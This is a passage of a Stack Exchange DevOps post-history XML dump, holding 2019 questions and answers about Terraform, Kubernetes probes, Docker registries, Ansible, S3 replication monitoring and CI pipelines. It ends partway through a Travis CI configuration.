  <row Id="24110" PostHistoryTypeId="5" PostId="8261" RevisionGUID="379bec62-c7e2-4295-b7bb-e63573e15254" CreationDate="2019-05-31T07:45:12.493" UserId="40" Comment="added 3 characters in body" Text="I believe you would be using multiple modules to create various resources(EC2,ELB, Etc) in AWS using Terraform. You can create a custom module having output value of each variable you want to configure per your requirement like aws-region, etc.&#xD;&#xA;&#xD;&#xA;Then source(import) this custom module into your resource module and use its values using $.&#xD;&#xA;&#xD;&#xA;custom_module&#xD;&#xA;&#xD;&#xA;    output &quot;aws_region&quot; {&#xD;&#xA;      value = &quot;us-xyz-1&quot;&#xD;&#xA;    }&#xD;&#xA;    output &quot;aws_anyproperty&quot; {&#xD;&#xA;      value = &quot;abc&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    Add above custom_module as source in your resource module&#xD;&#xA;    &#xD;&#xA;    module &quot;custom_module&quot; {&#xD;&#xA;      source=&quot;../../../modules/custom_module&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    provider &quot;aws&quot; {&#xD;&#xA;      version=&quot;~&gt; y.x&quot;&#xD;&#xA;      profile=&quot;${module.custom_module.aws_anyproperty}&quot;&#xD;&#xA;      region=&quot;${module.custom_module.aws_region}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24111" PostHistoryTypeId="2" PostId="8278" RevisionGUID="4076ed9e-2f0e-4c1f-9cb0-c69c10f2a13c" CreationDate="2019-05-31T09:48:37.433" UserId="6356" Text="You can add, if it's not already the case, a frontal, rev proxy, to prevent direct access to the TS. This could also add an authentication layer...&#xA;I am not a lot in Microsoft stuff so this is really a basic advice.&#xA;If TS allow the use of pubkey instead of passwd this would be a good addition too. " ContentLicense="CC BY-SA 4.0" />
  <row Id="24116" PostHistoryTypeId="5" PostId="8260" RevisionGUID="4ac6ef74-63c2-4b7a-9b32-79e3b350edd8" CreationDate="2019-05-31T14:32:01.553" UserId="13551" Comment="Add new information" Text="HTTP Kubernetes liveness and readiness checks are [configured as per the documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-probes/).&#xD;&#xA;&#xD;&#xA;The `initialDelaySeconds` field tells the kubelet how long it should wait before performing the first liveness / readiness probe.&#xD;&#xA;&#xD;&#xA;In [this official blog article by a Google Developer Advocate](https://cloud.google.com/blog/products/gcp/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes) it says:&#xD;&#xA;&#xD;&#xA;&gt; I recommend using the p99 startup time as the `initialDelaySeconds`, or just take the average startup time and add a buffer. As your app's startup time gets faster or slower, make sure you update this number.&#xD;&#xA;&#xD;&#xA;... possibly implying that monitoring of your app's startup time is a reasonably trivial or built-in kubernetes function!?&#xD;&#xA;&#xD;&#xA; * Is there a metric available in Kubernetes for container or pod startup time (time between either &quot;pending&quot; or &quot;running&quot; to the time the liveness check succeeds)?&#xD;&#xA;&#xD;&#xA; * If there is no existing metric, is there any `kubectl` command, other API or plugin, that can be used to determine the equivalent information?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;### Clarify:&#xD;&#xA;&#xD;&#xA;My environment uses Scala / Finagle, which seems to need a significant amount of time to start and warm-up (60-300 seconds depending on resource limits), so accuracy to within a few seconds is fine. There is no need for the solution to be second/millisecond accurate.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;### Small progress update:&#xD;&#xA;&#xD;&#xA;I found that the `kubectl` command below can be used to show the time between the [completion of the initialization phase, and the pod being ready to serve requests](https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#pod-conditions). However, the `Ready` time here would already include `initialDelaySeconds`, rather than indicating the earliest time the pod was actually able to serve. Also, this gives overall times for the pod, but no information about specific containers.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;kubectl get pod $POD_NAME -o 'go-template=&#xD;&#xA;{{range .status.conditions}}&#xD;&#xA;  {{if or (eq .type &quot;Initialized&quot;) (eq .type &quot;Ready&quot;)}}&#xD;&#xA;    {{printf &quot;%s ==&gt; %s\n&quot; .type .lastTransitionTime }}&#xD;&#xA;  {{end}}&#xD;&#xA;{{end}}'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;output:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Initialized ==&gt; 2019-05-28T01:47:35Z&#xD;&#xA;Ready ==&gt; 2019-05-28T01:50:24Z&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24118" PostHistoryTypeId="5" PostId="8260" RevisionGUID="44feaae7-1577-475c-9c6e-810b8814f9d9" CreationDate="2019-05-31T14:46:27.803" UserId="13551" Comment="added 26 characters in body" Text="HTTP Kubernetes liveness and readiness checks are [configured as per the documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-probes/).&#xD;&#xA;&#xD;&#xA;The `initialDelaySeconds` field tells the kubelet how long it should wait before performing the first liveness / readiness probe.&#xD;&#xA;&#xD;&#xA;In [this official blog article by a Google Developer Advocate](https://cloud.google.com/blog/products/gcp/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes) it says:&#xD;&#xA;&#xD;&#xA;&gt; I recommend using the p99 startup time as the `initialDelaySeconds`, or just take the average startup time and add a buffer. As your app's startup time gets faster or slower, make sure you update this number.&#xD;&#xA;&#xD;&#xA;... possibly implying that monitoring of your app's startup time is a reasonably trivial or built-in kubernetes function!?&#xD;&#xA;&#xD;&#xA; * Is there a metric available in Kubernetes for container or pod startup time (time between either &quot;pending&quot; or &quot;running&quot; to the time the liveness check succeeds)?&#xD;&#xA;&#xD;&#xA; * If there is no existing metric, is there any `kubectl` command, other API or plugin, that can be used to determine the equivalent information?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;### Clarify:&#xD;&#xA;&#xD;&#xA;My environment uses Scala / Finagle, which seems to need a significant amount of time to start and warm-up (60-300 seconds depending on resource limits), so accuracy to within a few seconds is fine. There is no need for the solution to be second/millisecond accurate.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;### Small progress update:&#xD;&#xA;&#xD;&#xA;I found that the `kubectl` command below can be used to show the time between the [completion of the initialization phase, and the pod being ready to serve requests](https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#pod-conditions). However, the `Ready` time here would already include `initialDelaySeconds`, rather than indicating the earliest time the pod was actually able to serve. Also, this gives overall times for the pod, but no information about specific containers.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;kubectl get pod $POD_NAME -o 'go-template=&#xD;&#xA;{{range .status.conditions}}&#xD;&#xA;  {{if and (or (eq .type &quot;Initialized&quot;) (eq .type &quot;Ready&quot;)) (eq .status &quot;True&quot;)}}&#xD;&#xA;    {{printf &quot;%s ==&gt; %s\n&quot; .type .lastTransitionTime }}&#xD;&#xA;  {{end}}&#xD;&#xA;{{end}}'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;output:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Initialized ==&gt; 2019-05-28T01:47:35Z&#xD;&#xA;Ready ==&gt; 2019-05-28T01:50:24Z&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24119" PostHistoryTypeId="5" PostId="5446" RevisionGUID="7e7117c0-c032-43e6-8bd8-5db793662546" CreationDate="2019-05-31T14:57:46.150" UserId="743" Comment="added 144 characters in body" Text="Still no answers, and still no CRR monitoring in place on AWS, here's minimalistic solution, any feedback and suggestions are welcome. This monitor will only show which S3 objects are missing from destination, it will not provide visibility on versions of replicated objects.&#xD;&#xA;&#xD;&#xA;Prerequisites&#xD;&#xA;___&#xD;&#xA; 1. [Enable inventory reports][1] on `src` (Source) and `dst`&#xD;&#xA;    (Destination) buckets&#xD;&#xA; 2. [Create Athena tables][2] (`src_inventory`, `dst_inventory`) based on inventory reports for each bucket&#xD;&#xA;&#xD;&#xA;Monitor&#xD;&#xA;___&#xD;&#xA;Run Athena query after both inventory reports generated e.g. on daily basis, can be executed from [Lambda][3], [Step Function][4], build server or any type of cron job.&#xD;&#xA;&#xD;&#xA;Example of Athena query which should show number of missing objects on destination bucket at the time of generation of inventory reports:&#xD;&#xA;&#xD;&#xA;```SELECT count(DISTINCT src.key) &#xD;&#xA;FROM src_inventory src &#xD;&#xA;LEFT JOIN dst_inventory dst &#xD;&#xA;ON src.key = dst.key &#xD;&#xA;WHERE dst.key is NULL&#xD;&#xA;AND src.dt = '2018-11-11-08-00';&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The result can be reported as CloudWatch metric and monitored with CloudWatch alarm. &#xD;&#xA;&#xD;&#xA;[1]: https://docs.aws.amazon.com/AmazonS3/latest/user-guide/configure-inventory.html&#xD;&#xA;[2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/storage-inventory.html#storage-inventory-athena-query&#xD;&#xA;[3]: https://docs.aws.amazon.com/athena/latest/APIReference/API_StartQueryExecution.html&#xD;&#xA;[4]: https://github.com/anselmo/step_function_activity_patterns/blob/master/athena_query_pull_mode/fns/athena.js" ContentLicense="CC BY-SA 4.0" />
  <row Id="24120" PostHistoryTypeId="5" PostId="2600" RevisionGUID="762d0260-746c-4062-9561-ec15d7988344" CreationDate="2019-05-31T16:23:12.407" UserId="210" Comment="added 194 characters in body" Text="Nexus 2 was deployed instead of Nexus 3. The docker feature seems to be introduced since Nexus 3.&#xD;&#xA;&#xD;&#xA;[This blog][1] indicates how to configure a docker repository and how to push and pull docker images.&#xD;&#xA;&#xD;&#xA;The blog contains multiple pictures. The following picture indicates how to enable the docker registry:&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.sonatype.com/using-nexus-3-as-your-repository-part-3-docker-images&#xD;&#xA;  [2]: https://i.stack.imgur.com/30SZn.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="24124" PostHistoryTypeId="2" PostId="8281" RevisionGUID="a3956190-5a30-463e-a645-14b382d1378a" CreationDate="2019-05-31T20:31:40.063" UserId="15194" Text="I am using docker to scale my service.&#xD;&#xA;I know there's a command called `--add--host` for adding host into /etc/host&#xD;&#xA;&#xD;&#xA;However, I have a bunch of hosts need to be added. It's just too long to launch a docker in this way&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    docker run -it \&#xD;&#xA;      --add-host=testing1.example.com:10.0.0.1 \&#xD;&#xA;      --add-host=testing2.example.com:10.0.0.2 \&#xD;&#xA;      --add-host=testing3.example.com:10.0.0.3 \&#xD;&#xA;      ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Therefore, I was thinking to create a function to read a mapping file and solve the problem.&#xD;&#xA;&#xD;&#xA;The file format is like the following&#xD;&#xA;&#xD;&#xA;**host-list**&#xD;&#xA;&#xD;&#xA;    14.64.65.3 A&#xD;&#xA;    11.64.65.18 B&#xD;&#xA;    12.64.65.23 C&#xD;&#xA;    13.10.200.63 D&#xD;&#xA;    13.10.5.77 E&#xD;&#xA;    14.10.5.72 F&#xD;&#xA;    15.10.5.81 G&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;I am new on shell script and have no idea to start with.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24125" PostHistoryTypeId="1" PostId="8281" RevisionGUID="a3956190-5a30-463e-a645-14b382d1378a" CreationDate="2019-05-31T20:31:40.063" UserId="15194" Text="Add mapping ip and host into /etc/hosts with docker" ContentLicense="CC BY-SA 4.0" />
  <row Id="24126" PostHistoryTypeId="3" PostId="8281" RevisionGUID="a3956190-5a30-463e-a645-14b382d1378a" CreationDate="2019-05-31T20:31:40.063" UserId="15194" Text="&lt;docker&gt;&lt;shell-script&gt;&lt;bash&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24127" PostHistoryTypeId="50" PostId="5846" RevisionGUID="be42a085-0a89-48d1-91fd-ff0c5c6803ee" CreationDate="2019-05-31T21:03:25.430" UserId="-1" />
  <row Id="24140" PostHistoryTypeId="33" PostId="8260" RevisionGUID="3c1294df-73fc-4d67-89f4-1de396467a8c" CreationDate="2019-06-01T07:12:21.133" UserId="13551" Comment="37" />
  <row Id="24141" PostHistoryTypeId="50" PostId="5824" RevisionGUID="07c836cd-e306-4b90-9cf6-f4ca18a2ff06" CreationDate="2019-06-01T09:03:00.373" UserId="-1" />
  <row Id="24142" PostHistoryTypeId="2" PostId="8284" RevisionGUID="37434720-4a9e-4f92-a441-031c3f900068" CreationDate="2019-06-01T14:53:56.890" UserId="11068" Text="The problem was in this line:&#xD;&#xA;&#xD;&#xA;    sudo docker network create --internal --subnet=192.168.2.0/24 netR&#xD;&#xA;&#xD;&#xA;The `--internal` option makes the network unreachable from other Docker networks.&#xD;&#xA;&#xD;&#xA;The solution was to remove this option." ContentLicense="CC BY-SA 4.0" />
  <row Id="24147" PostHistoryTypeId="50" PostId="5864" RevisionGUID="b65f3b8a-be5d-4086-b2cb-007055007d7f" CreationDate="2019-06-01T23:02:10.603" UserId="-1" />
  <row Id="24148" PostHistoryTypeId="5" PostId="8077" RevisionGUID="4dff013d-0080-4fe0-9eb3-67db9934164f" CreationDate="2019-06-02T05:22:46.773" UserId="40" Comment="deleted 15 characters in body" Text="I am still learning about DevOps, I wonder in Academia the workloads can often be quite heavy, I noticed there are variations on the DevOps methodology, e.g. DataOps and DevSecOps.&#xD;&#xA;&#xD;&#xA;I wonder if there is something like StudentOps or similar to this especially targetted to the more scientific and computer science like subjects? I have noticed a similar question: https://devops.stackexchange.com/questions/6719 . But this does not explain why additionally one has not been developed for academia." ContentLicense="CC BY-SA 4.0" />
  <row Id="24149" PostHistoryTypeId="50" PostId="7955" RevisionGUID="ca700363-4f58-4acf-9e6a-2891ea816057" CreationDate="2019-06-02T07:03:25.440" UserId="-1" />
  <row Id="24150" PostHistoryTypeId="5" PostId="8229" RevisionGUID="77230563-0d8c-4434-8d51-7fb1775afbb3" CreationDate="2019-06-02T13:22:28.543" UserId="13111" Comment="spelling" Text="`become_user` will tell which user to become to run a particular ansible module **on the remote server**.&#xD;&#xA;&#xD;&#xA;If you want to run the `ansible` command on your control machine as an other user, you need to use `sudo` or `su` on this machine e.g.&#xD;&#xA;&#xD;&#xA;`sudo -s -u ansible ansible all -m ping`&#xD;&#xA;&#xD;&#xA;The `-s` option will load the user's shell an make sure homedir and all other envs are correctly set prior to running the command.&#xD;&#xA;&#xD;&#xA;An other possible solution would be to use the ssh key you created for the ansible user from your account&#xD;&#xA;&#xD;&#xA;`ansible all --private-key=/home/ansible/.ssh/id_rsa -m ping`&#xD;&#xA;&#xD;&#xA;This will potentially work only if your current user has read access to the given key." ContentLicense="CC BY-SA 4.0" />
  <row Id="24151" PostHistoryTypeId="50" PostId="8012" RevisionGUID="b042ca69-3cc9-4a42-9d05-1a5a54b2e616" CreationDate="2019-06-02T14:02:05.557" UserId="-1" />
  <row Id="24152" PostHistoryTypeId="50" PostId="8014" RevisionGUID="95f7b782-ba1d-4ed0-9a93-6beb1c96bea2" CreationDate="2019-06-02T15:01:50.717" UserId="-1" />
  <row Id="24153" PostHistoryTypeId="50" PostId="5104" RevisionGUID="1b1249b8-7692-4666-a7b3-4e3837b4f0a9" CreationDate="2019-06-02T16:01:21.993" UserId="-1" />
  <row Id="24154" PostHistoryTypeId="5" PostId="8243" RevisionGUID="c2dbaf31-173f-46c5-8441-db5dc7b5f647" CreationDate="2019-06-03T06:04:21.753" UserId="15152" Comment="added version info" Text="I am hosting an own registry.  &#xD;&#xA;After rebooting the Server my registry container is unable to start.&#xD;&#xA;&#xD;&#xA;I used this command to start the registry&#xD;&#xA;```&#xD;&#xA;docker run -d -p 5000:5000 --name registry -v /var/lib/registry/:/var/lib/registry -v /root/certs:/certs -v /root/auth/:/auth -eEGISTRY_HTTP_TLS_CERTIFICATE=/certs/domain.crt -e REGISTRY_HTTP_ADDR=0.0.0.0:5000 -e REGISTRY_HTTP_TLS_KEY=/certs/domain.key -e &quot;REGISTRY_AUTH=htpasswd&quot; -e &quot;REGISTRY_AUTH=htpasswd&quot; -e REGISTRY_AUTH_HTPASSWD_PATH=/auth/htpasswd -e &quot;REGISTRY_AUTH_HTPASSWD_REALM=Registry Realm&quot; --restart always registry:2.7.1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;After a reboot i get this message when i try &quot;docker start registry&quot;:&#xD;&#xA;&#xD;&#xA;&gt; Error response from daemon: OCI runtime create failed: container with id exists: dfb0bef21bdfc8a89b59498befd37f83513e75527c0beb552e0400df2a2b7c7d: unknown&#xD;&#xA;Error: failed to start containers: registry&#xD;&#xA;&#xD;&#xA;Starting a new container works fine.  &#xD;&#xA;How can a fix, it and sould the container not start by itself because of &quot;--restart alway&quot;&#xD;&#xA;&#xD;&#xA;    docker --version&#xD;&#xA;Docker version 18.09.6, build 481bc77&#xD;&#xA;&#xD;&#xA;Thx for your help.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24155" PostHistoryTypeId="2" PostId="8286" RevisionGUID="8100852e-6695-424c-a1e0-c6ae2868b8e2" CreationDate="2019-06-03T07:35:33.920" UserId="15255" Text="If you want to have reusable development layers but reduce your disk usage for delivery, you can produce a merged &quot;delivery layer&quot; like this:&#xD;&#xA;&#xD;&#xA; 1. Make sure you have a container that uses your image (if you don't have one, maybe use something like `docker run IMAGE echo`, if the echo command is available)&#xD;&#xA; 2. Find the container id (maybe using `docker container ls -l`)&#xD;&#xA; 3. Pipe `docker export` to `docker import` to create the merged layer (something like `docker export 20f192c6530a | docker import - project:merged`)&#xD;&#xA;&#xD;&#xA;This will keep your development layers around but give you a smaller, merged image that you can deliver." ContentLicense="CC BY-SA 4.0" />
  <row Id="24159" PostHistoryTypeId="2" PostId="8288" RevisionGUID="41b097a0-7e42-4c39-9f78-1e22fd419dde" CreationDate="2019-06-03T13:46:35.863" UserId="15126" Text="Multi stage builds.  Use the image that has all your build components to build your application, and a lighter runtime image. Copy just your build artifact to the runtime image. No need to delete anything. &#xD;&#xA;&#xD;&#xA;https://docs.docker.com/develop/develop-images/multistage-build/" ContentLicense="CC BY-SA 4.0" />
  <row Id="24161" PostHistoryTypeId="19" PostId="413" RevisionGUID="7b7f7a73-f4c4-4844-9f66-3d9432297e69" CreationDate="2019-06-03T15:58:45.010" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="24163" PostHistoryTypeId="2" PostId="8290" RevisionGUID="bac90b00-ee6c-4bf1-a222-d73ac480fdaf" CreationDate="2019-06-03T20:57:32.420" UserId="15268" Text="I have a project which has `firebase functions` &#xD;&#xA;&#xD;&#xA;From my local I can run `firebase deploy --only functions` and it will build and deploy firebase functions to firebase.&#xD;&#xA;&#xD;&#xA;Now I want to enable CICD via Azure Devops.&#xD;&#xA;So I need to build the functions in CI and get the build artifact in CD to deploy it to different firebase project (as different environments).&#xD;&#xA;&#xD;&#xA;The problem is building and deploying is done in the same time via `firebase deploy`&#xD;&#xA;&#xD;&#xA;I googled a lot not able to find a solution&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/phXaq.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="24164" PostHistoryTypeId="1" PostId="8290" RevisionGUID="bac90b00-ee6c-4bf1-a222-d73ac480fdaf" CreationDate="2019-06-03T20:57:32.420" UserId="15268" Text="How to integrate firebase functions into devops pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="24165" PostHistoryTypeId="3" PostId="8290" RevisionGUID="bac90b00-ee6c-4bf1-a222-d73ac480fdaf" CreationDate="2019-06-03T20:57:32.420" UserId="15268" Text="&lt;azure-devops&gt;&lt;azure&gt;&lt;google-cloud-platform&gt;&lt;cicd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24166" PostHistoryTypeId="2" PostId="8291" RevisionGUID="643138e5-fcc5-4512-bf0a-dadc9a24702e" CreationDate="2019-06-03T21:36:28.910" UserId="10350" Text="Try to check is `registry` really stopped using `docker ps -a` if container runned stop container then start.&#xD;&#xA;&#xD;&#xA;Part related to the `--restart always` option, restart always will proceed only if container works at least 10 seconds and docker itself can monitor this service.&#xD;&#xA;&#xD;&#xA;See more info at this link [restart policy detail][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/config/containers/start-containers-automatically/#restart-policy-details" ContentLicense="CC BY-SA 4.0" />
  <row Id="24171" PostHistoryTypeId="50" PostId="8016" RevisionGUID="305bf2bf-15df-4583-b6c4-72d5eda53a34" CreationDate="2019-06-04T08:02:41.620" UserId="-1" />
  <row Id="24172" PostHistoryTypeId="2" PostId="8293" RevisionGUID="cfe445ac-7df3-4c04-9e28-83cfd58292fb" CreationDate="2019-06-04T08:55:32.813" UserId="210" Text="I do not see a download button. I would like to download an image that was created on GCP using Packer and I would like to run it locally in Virtualbox." ContentLicense="CC BY-SA 4.0" />
  <row Id="24173" PostHistoryTypeId="1" PostId="8293" RevisionGUID="cfe445ac-7df3-4c04-9e28-83cfd58292fb" CreationDate="2019-06-04T08:55:32.813" UserId="210" Text="How to download an image from GCP?" ContentLicense="CC BY-SA 4.0" />
  <row Id="24174" PostHistoryTypeId="3" PostId="8293" RevisionGUID="cfe445ac-7df3-4c04-9e28-83cfd58292fb" CreationDate="2019-06-04T08:55:32.813" UserId="210" Text="&lt;packer&gt;&lt;gcp&gt;&lt;virtualbox&gt;&lt;images&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="24175" PostHistoryTypeId="5" PostId="8243" RevisionGUID="698f030c-f158-4e5f-aed1-2dcabe7e9b31" CreationDate="2019-06-04T10:23:16.867" UserId="15152" Comment="added 209 characters in body" Text="I am hosting an own registry.  &#xD;&#xA;After rebooting the Server my registry container is unable to start.&#xD;&#xA;&#xD;&#xA;I used this command to start the registry&#xD;&#xA;```&#xD;&#xA;docker run -d -p 5000:5000 --name registry -v /var/lib/registry/:/var/lib/registry -v /root/certs:/certs -v /root/auth/:/auth -eEGISTRY_HTTP_TLS_CERTIFICATE=/certs/domain.crt -e REGISTRY_HTTP_ADDR=0.0.0.0:5000 -e REGISTRY_HTTP_TLS_KEY=/certs/domain.key -e &quot;REGISTRY_AUTH=htpasswd&quot; -e &quot;REGISTRY_AUTH=htpasswd&quot; -e REGISTRY_AUTH_HTPASSWD_PATH=/auth/htpasswd -e &quot;REGISTRY_AUTH_HTPASSWD_REALM=Registry Realm&quot; --restart always registry:2.7.1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;After a reboot i get this message when i try &quot;docker start registry&quot;:&#xD;&#xA;&#xD;&#xA;&gt; Error response from daemon: OCI runtime create failed: container with id exists: dfb0bef21bdfc8a89b59498befd37f83513e75527c0beb552e0400df2a2b7c7d: unknown&#xD;&#xA;Error: failed to start containers: registry&#xD;&#xA;&#xD;&#xA;Starting a new container works fine.  &#xD;&#xA;How can a fix, it and sould the container not start by itself because of &quot;--restart alway&quot;&#xD;&#xA;&#xD;&#xA;    docker --version&#xD;&#xA;Docker version 18.09.6, build 481bc77&#xD;&#xA;&#xD;&#xA;Thx for your help.&#xD;&#xA;&#xD;&#xA;### Update&#xD;&#xA;Intesting news I have written an init script to to the job,&#xD;&#xA;but the problem is exactly the same.  The container exists but isn't started.&#xD;&#xA;If I try to start it, I get the error message from above." ContentLicense="CC BY-SA 4.0" />
  <row Id="24176" PostHistoryTypeId="2" PostId="8294" RevisionGUID="1d49789f-6f7c-4c14-9b3f-ff59c6ae1022" CreationDate="2019-06-04T10:26:00.853" UserId="9556" Text="I have tried initializing terraform code in Travis CI but an error keeps coming up;&#xD;&#xA;```&#xD;&#xA;Failed to load state: &#xD;&#xA;Failed to open state file at &#xD;&#xA;gs://{{project_id}}/terraform/state/default.tfstate: &#xD;&#xA;Get &#xD;&#xA;https://storage.googleapis.com/{{project_id}}/terraform/state/default.tfstate: &#xD;&#xA;metadata: GCE metadata &quot;instance/service-accounts/default/token&quot; not defined&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I have initialized gcloud(Google Cloud SDK), with a service account ie&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;gcloud auth activate-service-account --key-file {{service-account-path}}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;and set:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;export TF_CREDS={{service-account-path}}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;but the error still comes up.&#xD;&#xA;&#xD;&#xA;My terraform provider and backend are in the following format respectively:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;provider &quot;google&quot; {&#xD;&#xA;  region  = &quot;${var.region}&quot;&#xD;&#xA;  zone    = &quot;${var.zone}&quot;&#xD;&#xA;  project = &quot;${var.project_id}&quot;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;terraform {&#xD;&#xA;  backend &quot;gcs&quot; {&#xD;&#xA;    bucket = &quot;{{project_id}}&quot;&#xD;&#xA;    prefix = &quot;terraform/state&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I removed the default Google Cloud SDK thinking that it was causing a conflict when another which is specific to the usage in the CI/CD process is installed. This, however, did not help.&#xD;&#xA;&#xD;&#xA;The .travis.yml looks like:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;language: node_js&#xD;&#xA;sudo: true&#xD;&#xA;node_js:&#xD;&#xA;  - &quot;12.2.0&quot;&#xD;&#xA;  - &quot;12.0&quot;&#xD;&#xA;  - &quot;11.0&quot;&#xD;&#xA;  - &quot;10.0&quot;&#xD;&#xA;  - &quot;9.10.0&quot;&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;  - docker&#xD;&#xA;&#xD;&#xA;stages:&#xD;&#xA;  - name: test&#xD;&#xA;  - name: test-build&#xD;&#xA;  - name: build&#xD;&#xA;    if: |&#xD;&#xA;      tag =~ /^v\d+\.\d+(\.\d+)?(-\S*)?$/ || \&#xD;&#xA;      tag =~ /^dev\/v\d+\.\d+(\.\d+)?(-\S*)?$/ || \&#xD;&#xA;      tag =~ /^release\/v\d+\.\d+(\.\d+)?(-\S*)?$/ || \&#xD;&#xA;      tag =~ /^prod\/v\d+\.\d+(\.\d+)?(-\S*)?$/&#xD;&#xA;  - name: deploy&#xD;&#xA;    if: |&#xD;&#xA;      tag =~ /^v\d+\.\d+(\.\d+)?(-\S*)?$/ || \&#xD;&#xA;      tag =~ /^dev\/v\d+\.\d+(\.\d+)?(-\S*)?$/ || \&#xD;&#xA;      tag =~ /^release\/v\d+\.\d+(\.\d+)?(-\S*)?$/ || \&#xD;&#xA;      tag =~ /^prod\/v\d+\.\d+(\.\d+)?(-\S*)?$/&#xD;&#xA;&#xD;&#xA;install:&#xD;&#xA;  - yarn install&#xD;&#xA;&#xD;&#xA;script:&#xD;&#xA;  - yarn list&#xD;&#xA;  # - yarn check&#xD;&#xA;  # - yarn test&#xD;&#xA;&#xD;&#xA;jobs:&#xD;&#xA;  include:&#xD;&#xA;    - stage: test-build&#xD;&#xA;      install:&#xD;&#xA;        - yarn install&#xD;&#xA;&#xD;&#xA;      script:&#xD;&#xA;        - yarn run build&#xD;&#xA;&#xD;&#xA;    - stage: build&#xD;&#xA;      install:&#xD;&#xA;        - docker -v&#xD;&#xA;      before_script:&#xD;&#xA;        - git clone https://$GITHUB_TOKEN@github.com/{{github-user}}/devops_configurations.git ../devops_configurations/&#xD;&#xA;        - cp ../devops_configurations/React/* .&#xD;&#xA;      script:&#xD;&#xA;        - docker login -u $DOCKER_HUB_USER -p $DOCKER_HUB_PASSWORD&#xD;&#xA;        - docker build -t $DOCKER_HUB_USER/test_react:$(echo $TRAVIS_TAG | tr &quot;/&quot; .) -f Dockerfile-multibuild .&#xD;&#xA;        - docker push $DOCKER_HUB_USER/test_react:$(echo $TRAVIS_TAG | tr &quot;/&quot; .)&#xD;&#xA;        - docker rmi $DOCKER_HUB_USER/test_react:$(echo $TRAVIS_TAG | tr &quot;/&quot; .)&#xD;&#xA;        - docker logout&#xD;&#xA;&#xD;&#xA;    - stage: deploy&#xD;&#xA;      install:&#xD;&#xA;        # Install Google Cloud SDK&#xD;&#xA;        - if [ ! -d &quot;$HOME/google-cloud-sdk/bin&quot; ]; then&#xD;&#xA;            rm -rf $HOME/google-cloud-sdk;&#xD;&#xA;            sudo rm -rf /usr/lib/google-cloud-sdk/;&#xD;&#xA;            export CLOUDSDK_CORE_DISABLE_PROMPTS=1;&#xD;&#xA;            curl https://sdk.cloud.google.com | bash &gt; /dev/null;&#xD;&#xA;          fi&#xD;&#xA;        # Add gcloud to $PATH&#xD;&#xA;        - source /home/travis/google-cloud-sdk/path.bash.inc&#xD;&#xA;        # Install Kubectl&#xD;&#xA;        - if ! [ -x &quot;$(command -v kubectl)&quot; ]; then&#xD;&#xA;            gcloud components install kubectl --quiet;&#xD;&#xA;          fi&#xD;&#xA;        # Install Terraform&#xD;&#xA;        - if ! [ -x &quot;$(command -v terraform)&quot; ]; then&#xD;&#xA;            TERRAFORM_VERSION=0.12.0;&#xD;&#xA;            URL=&quot;https://releases.hashicorp.com/terraform/${TERRAFORM_VERSION}/terraform_${TERRAFORM_VERSION}_linux_amd64.zip&quot;;&#xD;&#xA;            wget $URL;&#xD;&#xA;            unzip terraform_${TERRAFORM_VERSION}_linux_amd64.zip -d executables/;&#xD;&#xA;            sudo mv 